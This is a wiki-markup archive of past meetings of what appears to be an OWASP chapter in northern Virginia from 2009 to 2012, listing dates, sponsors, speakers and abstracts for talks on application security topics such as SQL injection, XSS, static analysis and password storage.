 * Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - &amp;quot;Benchmarking Web Application Scanners for YOUR Organization&amp;quot;, [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Benchmarking Web Application Scanners for YOUR Organization&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2012 ===&lt;br /&gt;
'''Date/Time:''' July 12th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - &amp;quot;Password Storage Security&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;Password Storage Security&amp;quot; [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix. &lt;br /&gt;
&lt;br /&gt;
To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]&lt;br /&gt;
&lt;br /&gt;
For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th (&amp;quot;Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!&amp;quot;): [https://www.coursera.org/course/crypto|Crypto Course] &lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
See  [https://www.owasp.org/index.php/John_Steven| John Steven Bio]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2012 ===&lt;br /&gt;
'''Date/Time:''' June 7th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Ken Johnson (LivingSocial) - &amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot; [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:&lt;br /&gt;
* Developing technical solutions to solving difficult challenges&lt;br /&gt;
* Remaining proactive with an increased workload&lt;br /&gt;
* What it means to innovate&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 &amp;amp; 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2012 ===&lt;br /&gt;
'''Date/Time:''' May 3rd, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * &amp;quot;Chill Out&amp;quot; conversations (formal talked pushed back due to logistical issues)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2012 ===&lt;br /&gt;
'''Date/Time:''' April 16th, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot; by Masha Khainson (Cigital)&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
 * ISSA NoVA Social @Champps!  :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.&lt;br /&gt;
&lt;br /&gt;
'''Bio'''&lt;br /&gt;
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.&lt;br /&gt;
&lt;br /&gt;
Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.&lt;br /&gt;
&lt;br /&gt;
Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2011 ===&lt;br /&gt;
'''Date/Time:''' November 3rd, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 # News / Updates&lt;br /&gt;
 # Talk: &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot; by Ryan Barnett (Trustwave SpiderLabs)&lt;br /&gt;
 # Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
How effective are blacklist filters vs. SQL Injection attacks?  What is the failure rate vs. automated scanning or manual testing?  Are there any &amp;quot;Time-to-Bypass&amp;quot; metrics?  In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community &amp;quot;SQL Injection Challenge&amp;quot; to test the effectiveness of the OWASP ModSecurity Core Rule Set protections.  This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2011 ===&lt;br /&gt;
'''Date/Time:''' October 6th, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166 &lt;br /&gt;
&lt;br /&gt;
'''AGENDA:'''&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * AppSec USA 2011 Recap&lt;br /&gt;
 * Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks &amp;quot;OWASP Top 10 Mobile Risks&amp;quot;]&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
=== September 2011 ===&lt;br /&gt;
&lt;br /&gt;
The September meeting was cancelled due to inclement weather (flash flooding).&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== August 2011  ===&lt;br /&gt;
&lt;br /&gt;
We held a &amp;quot;social&amp;quot; event at Sweetwater Tavern in Sterling, VA. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' July 7th, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166&amp;lt;br&amp;gt; '''Food Sponsor:'''&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: iGoat - Ken Van Wyk&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' The College Board&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 &amp;quot;Insecure Direct Object References&amp;quot;]&lt;br /&gt;
 * College Board Speaker: &amp;quot;Attack-in-Depth:  Exploits of the OWASP Top Ten in Action&amp;quot;&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 - Jack Mannino: &amp;quot;Android Security 101&amp;quot;&lt;br /&gt;
 - Others!&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' Akamai&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election (voice vote on the entire slate)&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 &amp;quot;Broken Authentication and Session Management&amp;quot;]&lt;br /&gt;
 * Speaker: Steve Witmer on A3 from the &amp;quot;breakers&amp;quot; perspective&lt;br /&gt;
 * Speaker: ??? on A3 from the &amp;quot;fixers/defenders&amp;quot; perspective&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 * '''Update:''' All election candidates were elected by voice vote. &lt;br /&gt;
    * Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;authkey=CIS9zFM '11 Chapter Board Election Material]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' April 7, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 &amp;lt;br&amp;gt; '''Food Sponsor:''' [https://www.cigital.com Cigital]&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 &amp;quot;Cross-Site Scripting (XSS)&amp;quot;]&lt;br /&gt;
 * Preso:&amp;quot;Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform&amp;quot; by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])&lt;br /&gt;
 * Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])&lt;br /&gt;
 * Preso:&amp;quot;Growing the secure application developer community through expanded curricula&amp;quot; by Tony Gottlieb&lt;br /&gt;
 * FireTalks (bring it!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== March 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' March 3, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 &amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review&lt;br /&gt;
  * Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 &amp;quot;Injection&amp;quot;]&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' February 3, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]&lt;br /&gt;
  * Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== December 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' December 2, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
   * 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)&lt;br /&gt;
  * Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)&lt;br /&gt;
  * Social / Networking (BYOB!)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' November 4, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA&amp;lt;br&amp;gt; '''Speaker:''' Ben Tomhave&amp;lt;br&amp;gt; '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform&amp;lt;br&amp;gt; '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.&amp;lt;br&amp;gt; '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/&amp;lt;br&amp;gt; '''TOPIC''': Risk Management - Time to blow it up and start over?&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. &amp;quot;Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; '''SPECIAL SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group]. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode&amp;lt;br&amp;gt; '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== September 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Fortify 360&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360! &lt;br /&gt;
&lt;br /&gt;
The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served. &lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 3, 2009. 6:00pm.&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Conducting Application Assessment&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Jeremy Epstein, SRI&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with &amp;quot;hanging chads&amp;quot;. Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective. &lt;br /&gt;
&lt;br /&gt;
'''ABOUT THE SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': July 9th 6pm-9pm EST&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Ounce's 02&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.&amp;lt;br&amp;gt; '''DESCRIPTION''': So what is O2? &lt;br /&gt;
&lt;br /&gt;
Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People) &lt;br /&gt;
&lt;br /&gt;
Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission). &lt;br /&gt;
&lt;br /&gt;
Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review. &lt;br /&gt;
&lt;br /&gt;
Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :) &lt;br /&gt;
&lt;br /&gt;
The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''&amp;lt;br&amp;gt; Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups. &lt;br /&gt;
&lt;br /&gt;
Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group. &lt;br /&gt;
&lt;br /&gt;
Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''&amp;lt;br&amp;gt; Later, a panel: &lt;br /&gt;
&lt;br /&gt;
*Steven Lavenhar, Booz Allen Hamilton; &lt;br /&gt;
*Eric Dalci, Cigital Inc.&lt;br /&gt;
&lt;br /&gt;
Panel moderated by John Steven &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools. &lt;br /&gt;
&lt;br /&gt;
Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''&amp;lt;br&amp;gt; Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Later, &lt;br /&gt;
&lt;br /&gt;
*Nate Miller, Stratum Security; &lt;br /&gt;
*Jeremiah Grossman, Whitehat Security; &lt;br /&gt;
*Tom Brennan, Whitehat Security; and &lt;br /&gt;
*Wade Woolwine, AOL&lt;br /&gt;
&lt;br /&gt;
served as penetration testing panels answering questions posed and moderated by Ken Van Wyk. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity''' &lt;br /&gt;
&lt;br /&gt;
Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth. &lt;br /&gt;
&lt;br /&gt;
This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes. &lt;br /&gt;
&lt;br /&gt;
